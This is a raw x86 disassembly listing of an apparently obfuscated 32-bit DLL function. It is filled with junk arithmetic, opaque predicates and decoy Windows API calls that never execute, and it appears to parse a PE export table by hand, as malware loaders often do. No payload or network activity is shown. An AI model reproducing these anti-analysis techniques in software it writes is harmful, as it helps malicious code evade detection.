mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x1094], eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x15b0]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5ac]
call fcn.10025e3f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x1368], 0x93fe6966
mov dword [ebp - 0x1364], 0x93fe6966
mov dword [ebp - 0x1360], 0x93fe6966
mov dword [ebp - 0x135c], 0x93fe6966
lea ecx, [ebp - 0x569]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x1358]
push eax
lea eax, [ebp - 0x1368]
push eax
lea ecx, [ebp - 0x1780]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11e0]
call fcn.10025e19
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x50c], 0x1dd2e91c
mov dword [ebp - 0x74], 0xa8c98aac
mov dword [ebp - 0x109c], 5
mov dword [ebp - 0x280], 0xa3a6
mov dword [ebp - 0x960], 0
mov dword [ebp - 0x988], 0xffffffff
mov dword [ebp - 0x3cc], 0
jmp 0x1003d1b8
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 3
jge 0x1003d1d4
mov eax, dword [ebp - 0x3cc]
mov dword [ebp + eax*4 - 0x1260], 6
jmp 0x1003d1ab
cmp dword [ebp - 0x78], 0
je 0x1003d29b
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x78]
jle 0x1003d1f2
mov dword [ebp - 0x114c], 1
jmp 0x1003d1f9
and dword [ebp - 0x114c], 0
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x78]
je 0x1003d20d
mov dword [ebp - 0x948], 1
jmp 0x1003d214
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x948], eax
jl 0x1003d22b
mov dword [ebp - 0x4fc], 1
jmp 0x1003d232
and dword [ebp - 0x4fc], 0
push 3
lea ecx, [ebp - 0x11e0]
call fcn.10025e5b
mov ecx, dword [ebp - 0x4fc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x78]
jl 0x1003d270
mov dword [ebp - 0x950], 1
jmp 0x1003d277
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x950]
mov dword [ebp - 0x109c], eax
mov eax, 0xfffe
add eax, 0xfffa
je 0x1003d29b
mov dword [ebp - 0x958], 1
jmp 0x1003d2a2
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x958], eax
jne 0x1003d2b9
mov dword [ebp - 0x1228], 1
jmp 0x1003d2c0
and dword [ebp - 0x1228], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x1688], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1260], 0x43c6fe23
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x1690], eax
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x1698], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1260]
cmp eax, dword [ebp - 0x280]
je 0x1003d313
mov dword [ebp - 0x10a4], 1
jmp 0x1003d31a
and dword [ebp - 0x10a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1260]
mov dword [ebp - 0x960], eax
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x960]
jge 0x1003d344
mov dword [ebp - 0x968], 1
jmp 0x1003d34b
and dword [ebp - 0x968], 0
cmp dword [ebp - 0x968], 0xe6f7fbf2
ja 0x1003d363
mov dword [ebp - 0x970], 1
jmp 0x1003d36a
and dword [ebp - 0x970], 0
cmp dword [ebp - 0x970], 0
jne 0x1003d383
push 6
pop eax
test eax, eax
jne 0x1003d383
and dword [ebp - 0x978], 0
jmp 0x1003d38d
mov dword [ebp - 0x978], 1
mov eax, dword [ebp - 0x280]
imul eax, dword [ebp - 0x978]
sub eax, 9
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x74], 9
jg 0x1003d3b5
mov dword [ebp - 0x980], 1
jmp 0x1003d3bc
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0x980], eax
jle 0x1003d597
mov dword [ebp - 0x3e4], 3
mov dword [ebp - 0x9a0], 0x426d
mov dword [ebp - 0x10ac], 0x1000840c
cmp dword [ebp - 0x9a0], 0x4544
jle 0x1003d47f
and dword [ebp - 0x3d4], 0
jmp 0x1003d412
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x6cb7
jge 0x1003d475
and dword [ebp - 0x3dc], 0
jmp 0x1003d434
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x5b02
jge 0x1003d473
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0x3dc]
sar eax, cl
cdq
mov dword [ebp - 0x1014], eax
mov dword [ebp - 0x1010], edx
push dword [ebp - 0x1010]
push dword [ebp - 0x1014]
mov ecx, 0x1061f778
call fcn.10025cc8
jmp 0x1003d427
jmp 0x1003d405
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [ebp - 0x3e4]
push 3
lea ecx, [ebp - 0x11e0]
call fcn.10025e5b
cmp esi, dword [eax]
jg 0x1003d4b1
cmp dword [ebp - 0x988], 0
jne 0x1003d4b1
mov eax, 0xfffa
test eax, eax
jne 0x1003d4b1
and dword [ebp - 0x504], 0
jmp 0x1003d4bb
mov dword [ebp - 0x504], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x504]
mov dword [ebp + eax - 0x1260], ecx
cmp dword [ebp - 0x504], 0
je 0x1003d518
mov eax, dword [ebp - 0x3e4]
cmp eax, dword [ebp - 0x3e4]
jg 0x1003d4f0
mov dword [ebp - 0x1154], 1
jmp 0x1003d4f7
and dword [ebp - 0x1154], 0
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x16a0], eax
mov eax, 0xa2db6377
test eax, eax
je 0x1003d518
mov dword [ebp - 0x990], 1
jmp 0x1003d51f
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x990], eax
jle 0x1003d536
mov dword [ebp - 0x998], 1
jmp 0x1003d53d
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0x50c], eax
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x9a0], 0x416d
jge 0x1003d569
mov edx, dword [ebp - 0x10ac]
mov ecx, 0x1061f778
call fcn.10027940
jmp 0x1003d585
mov dword [ebp - 4], 0x2c
jmp 0x1003d595
jmp 0x1003d5ed
mov byte [ebp - 0x1be], 0
movzx eax, byte [ebp - 0x1be]
test eax, eax
je 0x1003d5b3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [ebp - 0x74], 3
jmp 0x1003d5c3
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x1003d5ed
push dword [ebp - 0x74]
lea ecx, [ebp - 0x11e0]
call fcn.10025e5b
mov esi, eax
push dword [ebp - 0x74]
lea ecx, [ebp - 0x11e0]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1003d5bc
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1003d607
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11e0]
call fcn.10025e3f
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ebp - 0x214]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x288], 9
mov dword [ebp - 0x178], 3
mov dword [ebp - 0x290], 0xfffffffe
mov dword [ebp - 0x288], 0
jmp 0x1003d669
mov eax, dword [ebp - 0x288]
dec eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xffffffe3
je 0x1003dc1e
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0xa48], 0xffffffff
mov dword [ebp - 0x11f8], 0x7e338ae6
mov dword [ebp - 0x3ec], 0
jmp 0x1003d6aa
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 1
jge 0x1003d6c6
mov eax, dword [ebp - 0x3ec]
mov dword [ebp + eax*4 - 0xf4], 0xf644accb
jmp 0x1003d69d
mov eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0x178]
jl 0x1003d6dd
mov eax, 0x690f1d89
test eax, eax
je 0x1003d6e9
mov dword [ebp - 0x4c], 0xffffffff
jmp 0x1003da45
mov dword [ebp - 0x3f4], 0
jmp 0x1003d702
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 2
jge 0x1003d71e
mov eax, dword [ebp - 0x3f4]
mov dword [ebp + eax*4 - 0x1020], 1
jmp 0x1003d6f5
mov dword [ebp - 0x178], 0
jmp 0x1003d737
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 1
je 0x1003da29
mov dword [ebp - 0x9e8], 0x1cc0
mov dword [ebp - 0x115c], 9
mov dword [ebp - 0x4c], 0
jmp 0x1003d768
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jg 0x1003da24
push 1
lea ecx, [ebp - 0xe20]
call fcn.10025ddd
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x3fc], 0
jmp 0x1003d79f
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 1
jge 0x1003d7c1
push dword [ebp - 0x3fc]
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
mov dword [eax], 0xfffffffd
jmp 0x1003d792
push 0
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
and dword [eax], 0
jmp 0x1003d7f7
push 0
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
mov dword [ebp - 0x9a8], eax
mov eax, dword [ebp - 0x9a8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x9a8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
cmp dword [eax], 0
jg 0x1003da10
push 0
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xf4], 0
jg 0x1003d832
mov dword [ebp - 0x9b0], 1
jmp 0x1003d839
and dword [ebp - 0x9b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf4]
cmp dword [ebp - 0x9b0], eax
je 0x1003d85a
mov dword [ebp - 0x9b8], 1
jmp 0x1003d861
and dword [ebp - 0x9b8], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x9b8]
je 0x1003d878
mov dword [ebp - 0x11d4], 1
jmp 0x1003d87f
and dword [ebp - 0x11d4], 0
push 0
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xf4]
mov dword [ebp - 0x16a8], eax
cmp dword [ebp - 0x4c], 0xfffffffa
jl 0x1003d8ad
mov dword [ebp - 0x9c0], 1
jmp 0x1003d8b4
and dword [ebp - 0x9c0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1020]
cmp dword [ebp - 0x9c0], eax
jg 0x1003d8d5
mov dword [ebp - 0x9c8], 1
jmp 0x1003d8dc
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x9c8]
sub eax, 0x43a91900
je 0x1003d90d
mov byte [ebp - 0x1d1], 0
movzx eax, byte [ebp - 0x1d1]
test eax, eax
je 0x1003d908
push 0
push 0x26f9
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
jmp 0x1003da0b
mov dword [ebp - 0x9e0], 0xfffffffe
mov dword [ebp - 0x10bc], 1
cmp dword [ebp - 0x9e0], 1
jne 0x1003d936
mov dword [ebp - 0x10b4], 1
jmp 0x1003d93d
and dword [ebp - 0x10b4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf4]
mov dword [ebp - 0x16b0], eax
push 0
lea ecx, [ebp - 0xe20]
call fcn.10025e5b
mov eax, dword [eax]
sub eax, 0xd4fc
je 0x1003d97b
cmp dword [ebp - 0x115c], 0
je 0x1003d97b
mov dword [ebp - 0x9d0], 1
jmp 0x1003d982
and dword [ebp - 0x9d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1020]
cmp dword [ebp - 0x9d0], eax
jne 0x1003d9a3
mov dword [ebp - 0x9d8], 1
jmp 0x1003d9aa
and dword [ebp - 0x9d8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1020]
cmp eax, dword [ebp - 0x9d8]
jg 0x1003d9cb
mov dword [ebp - 0x9f0], 1
jmp 0x1003d9d2
and dword [ebp - 0x9f0], 0
mov eax, dword [ebp - 0x9e0]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0x9e8]
cmp eax, dword [ebp - 0x9f0]
jne 0x1003d9f8
mov dword [ebp - 0x9f8], 1
jmp 0x1003d9ff
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0x10bc], eax
jmp 0x1003d7d3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe20]
call fcn.10025e3f
jmp 0x1003d761
jmp 0x1003d72a
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x1003da45
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf4]
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0
jne 0x1003db0b
cmp dword [ebp - 0x290], 0
je 0x1003da8a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf4], 0
je 0x1003da8a
mov dword [ebp - 0xa10], 1
jmp 0x1003da91
and dword [ebp - 0xa10], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x16b8], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0xa48]
jge 0x1003dab1
mov dword [ebp - 0xa00], 1
jmp 0x1003dab8
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0xa00], eax
jle 0x1003dacf
mov dword [ebp - 0xa08], 1
jmp 0x1003dad6
and dword [ebp - 0xa08], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0xa08], eax
jle 0x1003daed
mov dword [ebp - 0xa18], 1
jmp 0x1003daf4
and dword [ebp - 0xa18], 0
mov eax, dword [ebp - 0xa10]
add eax, dword [ebp - 0xa18]
jne 0x1003db0b
and dword [ebp - 0xa20], 0
jmp 0x1003db15
mov dword [ebp - 0xa20], 1
cmp dword [ebp - 0xa20], 0xed5a
je 0x1003db2d
mov dword [ebp - 0xa28], 1
jmp 0x1003db34
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x290]
add eax, dword [ebp - 0xa28]
cmp eax, dword [ebp - 0x290]
je 0x1003db54
mov dword [ebp - 0xa30], 1
jmp 0x1003db5b
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0xa30]
sub eax, dword [ebp - 0x290]
mov dword [ebp - 0x4c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4c]
imul ecx, dword [ebp - 0x290]
cmp ecx, dword [ebp + eax - 0xf4]
jl 0x1003db98
mov eax, 0x5f7c
test eax, eax
je 0x1003db98
mov dword [ebp - 0xa38], 1
jmp 0x1003db9f
and dword [ebp - 0xa38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf4]
cmp dword [ebp - 0xa38], eax
jl 0x1003dbc0
mov dword [ebp - 0xa40], 1
jmp 0x1003dbc7
and dword [ebp - 0xa40], 0
mov eax, dword [ebp - 0xa40]
sub eax, 0xd858
cmp eax, 0xcf466df4
ja 0x1003dbe5
mov dword [ebp - 0xa50], 1
jmp 0x1003dbec
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0xa48]
cmp dword [ebp - 0xa50], eax
jl 0x1003dc06
mov dword [ebp - 0xa58], 1
jmp 0x1003dc0d
and dword [ebp - 0xa58], 0
mov eax, dword [ebp - 0xa58]
mov dword [ebp - 0x11f8], eax
jmp 0x1003d65c
mov eax, 0xffff
mov word [ebp - 0xc0], ax
or dword [ebp - 0x20c], 0xffffffff
push 1
lea ecx, [ebp - 0xe30]
call fcn.10025ddd
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x104], 0xfffffffa
mov dword [ebp - 0xfc], 0x5a63
mov dword [ebp - 0x16c0], 0x92d14b43
mov dword [ebp - 0x40c], 1
mov dword [ebp - 0x16c8], 0xfffffff6
mov dword [ebp - 0x324], 0
jmp 0x1003dc90
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 1
jge 0x1003dcb2
push dword [ebp - 0x324]
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
mov dword [eax], 0x5b57fd54
jmp 0x1003dc83
mov dword [ebp - 0x104], 0
jmp 0x1003dccb
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jg 0x1003dff4
mov dword [ebp - 0x188], 0xfffffffd
mov dword [ebp - 0x15dc], 0xffffffff
mov dword [ebp - 0x1290], 9
mov dword [ebp - 0x128c], 9
mov dword [ebp - 0x1288], 9
mov dword [ebp - 0x1284], 9
mov dword [ebp - 0x404], 0
jmp 0x1003dd2d
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 1
jge 0x1003dd49
mov eax, dword [ebp - 0x404]
mov dword [ebp + eax*4 - 0x16ac], 0xbfaead22
jmp 0x1003dd20
mov dword [ebp - 0x188], 0
jmp 0x1003dd62
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x1003df8a
mov dword [ebp - 0x180], 0x9dfcf09c
mov dword [ebp - 0x514], 0x64c9d8d9
mov dword [ebp - 0x180], 0
jmp 0x1003dd9c
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0
jg 0x1003de9d
mov dword [ebp - 0xa70], 0x7c6ae49a
mov dword [ebp - 0x10c4], 0xd1dc6b79
mov eax, dword [ebp - 0xa70]
mov dword [ebp - 0x10c4], eax
mov eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0xfc]
je 0x1003dde3
mov dword [ebp - 0xa60], 1
jmp 0x1003ddea
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0xa60]
je 0x1003de04
mov dword [ebp - 0x1164], 1
jmp 0x1003de0b
and dword [ebp - 0x1164], 0
push dword [ebp - 0x104]
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x15a4], eax
push 0
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
cmp dword [eax], 1
jge 0x1003de46
mov dword [ebp - 0xa68], 1
jmp 0x1003de4d
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0x104]
add eax, dword [ebp - 0xa68]
add eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0xa70]
jg 0x1003de73
mov dword [ebp - 0xa78], 1
jmp 0x1003de7a
and dword [ebp - 0xa78], 0
imul eax, dword [ebp - 0xa78], 0xe779
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0
je 0x1003de98
jmp 0x1003dd8f
jmp 0x1003dd8f
mov dword [ebp - 0xfc], 0
jmp 0x1003deb6
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jg 0x1003df85
push dword [ebp - 0xfc]
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
push dword [ebp - 0xfc]
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x1468], eax
mov dword [ebp - 0x180], 0x9668
cmp dword [ebp - 0x180], 0x6286
jle 0x1003df13
mov dword [ebp - 0xa80], 1
jmp 0x1003df1a
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x514]
cmp dword [ebp - 0xa80], eax
jle 0x1003df34
mov dword [ebp - 0xa88], 1
jmp 0x1003df3b
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0xa88], eax
jne 0x1003df55
mov dword [ebp - 0x10cc], 1
jmp 0x1003df5c
and dword [ebp - 0x10cc], 0
push dword [ebp - 0x104]
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
mov esi, eax
push 0
lea ecx, [ebp - 0xe30]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1003dea9
jmp 0x1003dd55
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1290]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1290], eax
mov dword [ebp - 0x40c], 0
jmp 0x1003dfbe
mov eax, dword [ebp - 0x40c]
dec eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jl 0x1003dfef
mov byte [ebp - 0x1a1], 0
movzx eax, byte [ebp - 0x1a1]
test eax, eax
je 0x1003dfed
push 0
push 0x2183
push 0x2492
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
jmp 0x1003dfb1
jmp 0x1003dcbe
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe30]
call fcn.10025e3f
cmp dword [ebp + 0x10], 0
jbe 0x1003ec9b
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0x298], 0x247adf1a
mov dword [ebp - 0x38], 0
push 2
lea ecx, [ebp - 0xe8c]
call fcn.10025ddd
mov dword [ebp - 4], 0x31
mov dword [ebp - 0xb00], 0x70004ddc
mov dword [ebp - 0x414], 0
jmp 0x1003e05f
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 2
jge 0x1003e07e
push dword [ebp - 0x414]
lea ecx, [ebp - 0xe8c]
call fcn.10025e5b
or dword [eax], 0xffffffff
jmp 0x1003e052
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x1660], eax
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x298]
add eax, 0x3632b605
neg eax
cmp dword [ebp - 0xc8], eax
jge 0x1003e0c3
mov dword [ebp - 0xa90], 1
jmp 0x1003e0ca
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0xa90], eax
je 0x1003e0e4
mov dword [ebp - 0xa98], 1
jmp 0x1003e0eb
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xa98]
cmp eax, dword [ebp - 0xc8]
jne 0x1003e10b
mov dword [ebp - 0xaa0], 1
jmp 0x1003e112
and dword [ebp - 0xaa0], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0xaa0], eax
jle 0x1003e12c
mov dword [ebp - 0xaa8], 1
jmp 0x1003e133
and dword [ebp - 0xaa8], 0
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xaa8]
jge 0x1003e14d
mov dword [ebp - 0xab0], 1
jmp 0x1003e154
and dword [ebp - 0xab0], 0
mov eax, dword [ebp - 0xab0]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1470], eax
cmp dword [ebp - 0x38], 0
je 0x1003e1a2
mov dword [ebp - 0x11e4], 0xffff
mov byte [ebp - 0x1c7], 0
movzx eax, byte [ebp - 0x1c7]
test eax, eax
je 0x1003e194
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x11e4], eax
jmp 0x1003e6db
mov dword [ebp - 0x8c], 0
jmp 0x1003e1bb
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x1003e1d7
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xea4], 2
jmp 0x1003e1ae
mov dword [ebp - 0x8c], 0
jmp 0x1003e1f0
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x1003e20c
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x11f0], 5
jmp 0x1003e1e3
mov dword [ebp - 0x38], 0
jmp 0x1003e21c
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jg 0x1003e6db
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x10c], 0x3bdf78b1
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
mov eax, 0x9e4a0435
test eax, eax
je 0x1003e265
cmp dword [ebp - 0x1f4], 0
je 0x1003e265
mov dword [ebp - 0xad0], 1
jmp 0x1003e26c
and dword [ebp - 0xad0], 0
mov eax, 0x25cf
test eax, eax
je 0x1003e290
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xea4], 0
je 0x1003e290
mov dword [ebp - 0xab8], 1
jmp 0x1003e297
and dword [ebp - 0xab8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x11f0]
cmp dword [ebp - 0xab8], eax
jle 0x1003e2b8
mov dword [ebp - 0xac0], 1
jmp 0x1003e2bf
and dword [ebp - 0xac0], 0
cmp dword [ebp - 0xac0], 0xfffffff8
jl 0x1003e2d4
mov dword [ebp - 0xac8], 1
jmp 0x1003e2db
and dword [ebp - 0xac8], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe8c]
call fcn.10025e5b
mov ecx, dword [ebp - 0xac8]
cmp ecx, dword [eax]
jne 0x1003e2ff
mov dword [ebp - 0xad8], 1
jmp 0x1003e306
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0xad0]
sub eax, dword [ebp - 0xad8]
jne 0x1003e32c
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xea4], 0
jne 0x1003e32c
and dword [ebp - 0xae0], 0
jmp 0x1003e336
mov dword [ebp - 0xae0], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xea4]
cmp dword [ebp - 0xae0], eax
jg 0x1003e356
mov dword [ebp - 0xae8], 1
jmp 0x1003e35d
and dword [ebp - 0xae8], 0
push 4
pop eax
shl eax, 0
imul ecx, dword [ebp - 0xae8], 0xfffa
cmp ecx, dword [ebp + eax - 0x11f0]
jne 0x1003e382
mov dword [ebp - 0xaf0], 1
jmp 0x1003e389
and dword [ebp - 0xaf0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xea4]
cmp eax, dword [ebp - 0xaf0]
jne 0x1003e3aa
mov dword [ebp - 0x10d4], 1
jmp 0x1003e3b1
and dword [ebp - 0x10d4], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe8c]
call fcn.10025e5b
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x11f0], 0xfffffff8
cmp dword [ebp - 0xc8], 0
je 0x1003e58c
mov dword [ebp - 0x10c], 0
jmp 0x1003e3f5
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jg 0x1003e4ca
mov dword [ebp - 0x116c], 0xfffffff6
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe8c]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003e42b
mov dword [ebp - 0xaf8], 1
jmp 0x1003e432
and dword [ebp - 0xaf8], 0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x15b4], eax
mov eax, dword [ebp - 0x116c]
mov dword [ebp - 0x1478], eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe8c]
call fcn.10025e5b
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xea4]
mov dword [ebp - 0x15d8], eax
push 0xfffffffffffffffe
pop eax
cmp eax, 1
jae 0x1003e47e
mov dword [ebp - 0xb08], 1
jmp 0x1003e485
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0xaf8]
mov dword [ebp - 0xb00], eax
mov eax, dword [ebp - 0xb00]
cmp eax, dword [ebp - 0xb08]
jge 0x1003e4ab
mov dword [ebp - 0xb10], 1
jmp 0x1003e4b2
and dword [ebp - 0xb10], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb10]
mov dword [ebp + eax - 0x11f0], ecx
jmp 0x1003e3e8
